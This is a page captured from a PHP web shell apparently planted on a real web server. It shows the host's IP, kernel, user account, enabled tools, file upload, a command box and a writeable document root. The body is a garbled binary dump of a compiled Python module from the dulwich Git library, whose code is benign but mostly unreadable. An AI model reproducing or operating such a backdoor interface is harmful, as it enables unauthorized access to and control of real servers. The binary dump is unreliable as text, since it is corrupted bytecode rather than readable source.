403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/dulwich/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/dulwich/__pycache__/archive.cpython-313.pyc
�

mEdg���t�SrSSKrSSKrSSKrSSKrSSKJr SSKJr SSK	J
r
 "SS5rS
SjrSS	jr
g)z!Generates tarballs for Git trees.�N)�closing)�BytesIO)�SEEK_ENDc�,�\rSrSrSrSSjrSSjrSrg)	�ChunkedBytesIO�"a%Turn a list of bytestrings into a file-like object.

This is similar to creating a `BytesIO` from a concatenation of the
bytestring list, but saves memory by NOT creating one giant bytestring
first::

    BytesIO(b''.join(list_of_bytestrings)) =~= ChunkedBytesIO(
        list_of_bytestrings)
Nc��XlSUlg)N)rr��contents�pos)�selfrs  �1/usr/lib/python3/dist-packages/dulwich/archive.py�__init__�ChunkedBytesIO.__init__-s�� �
����c��US:a[S5n/nURup4U[UR5:a�U[URU5U-
:a0UR	URUXDU-5 XA-
nX44UlOiUR	URUUS5 U[URU5U-
-nUS-
nSnX44UlU[UR5:aM�SRU5$)Nr�inf�r)�floatr�lenr�append�join)r
�maxbytes�buf�chunk�cursors     r�read�ChunkedBytesIO.read1s����a�<��U�|�H������
���c�$�-�-�(�(��#�d�m�m�E�2�3�f�<�<��
�
�4�=�=��/��(�9J�K�L��"��!�?�����
�
�4�=�=��/���8�9��C��
�
�e� 4�5��>�>����
����!�?����c�$�-�-�(�(��x�x��}�rr
)�returnN)N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr�__static_attributes__�rrrr"s����rrc#�# �[5n[[R"SSU3U55nUS:XazUR	S5 URS5S:XdS5eUR	S5 UR
[R"S	U55 UR	S[5 [XU5H�upxXRn	[U	R5n
[R"5nUR!S
S5UlU	R%5UlUR(UlX+lUR-X�5 UR/5v� UR1S5 UR	S5 M� SSS5 UR/5v� g![a M�f=f!,(df   N2=f7f)aGenerate a tar stream for the contents of a Git tree.

Returns a generator that lazily assembles a .tar.gz archive, yielding it in
pieces (bytestrings). To obtain the complete .tar.gz binary file, simply
concatenate these chunks.

Args:
  store: Object store to retrieve objects from
  tree: Tree object for the tree root
  mtime: UNIX timestamp that is assigned as the modification time for
    all files, and the gzip header modification time if format='gz'
  format: Optional compression format for tarball
Returns:
  Bytestrings
Nzw:�gzr�s�zInvalid gzip header�z<Lzutf-8�surrogateescape)rr�tarfile�open�seekr�write�struct�packr�
_walk_tree�sha�KeyErrorr�chunked�TarInfo�decode�name�
raw_length�size�mode�mtime�addfile�getvalue�truncate)�store�treer<�prefix�formatr�tar�
entry_abspath�entry�blob�data�infos            r�
tar_streamrJGs`��� �)�C�	����d�b���M�3�7�	8�C��T�>�
�H�H�Q�K��8�8�A�;�+�-�D�/D�D�-��H�H�Q�K��I�I�f�k�k�$��.�/��H�H�Q��!�$.�u�F�$C� �M�
��Y�Y�'��
"�$�,�,�/�D��?�?�$�D�%�,�,�W�6G�H�D�I����)�D�I��
�
�D�I��J��K�K��#��,�,�.� ��L�L��O��H�H�Q�K�'%D�
9�B�,�,�.���#�
��
��!
9�	8�sB�/G�BF4�F#�B6F4�G�#
F1�-F4�0F1�1F4�4
G�>Gc#�# �UR5Hpn[R"X#R5n[R
"UR5(a#[XURU5Shv�N MkXC4v� Mr gN7f)z^Recursively walk a dulwich Tree, yielding tuples of
(absolute path, TreeEntry) along the way.
N)	�	iteritems�	posixpathr�path�stat�S_ISDIRr;r2r3)r@rA�rootrFrEs     rr2r2|se������!��!���t�Z�Z�8�
��<�<��
�
�#�#�!�%�u�y�y�)9�=�I�I�I� �(�(�"�
J�s�A5B
�7B�8B
)r�)r)r$rMrOr0r,�
contextlibr�ior�osrrrJr2r&rr�<module>rVs5��.(���
�����"�"�J2�j	)r

Youez - 2016 - github.com/yon3zu
LinuXploit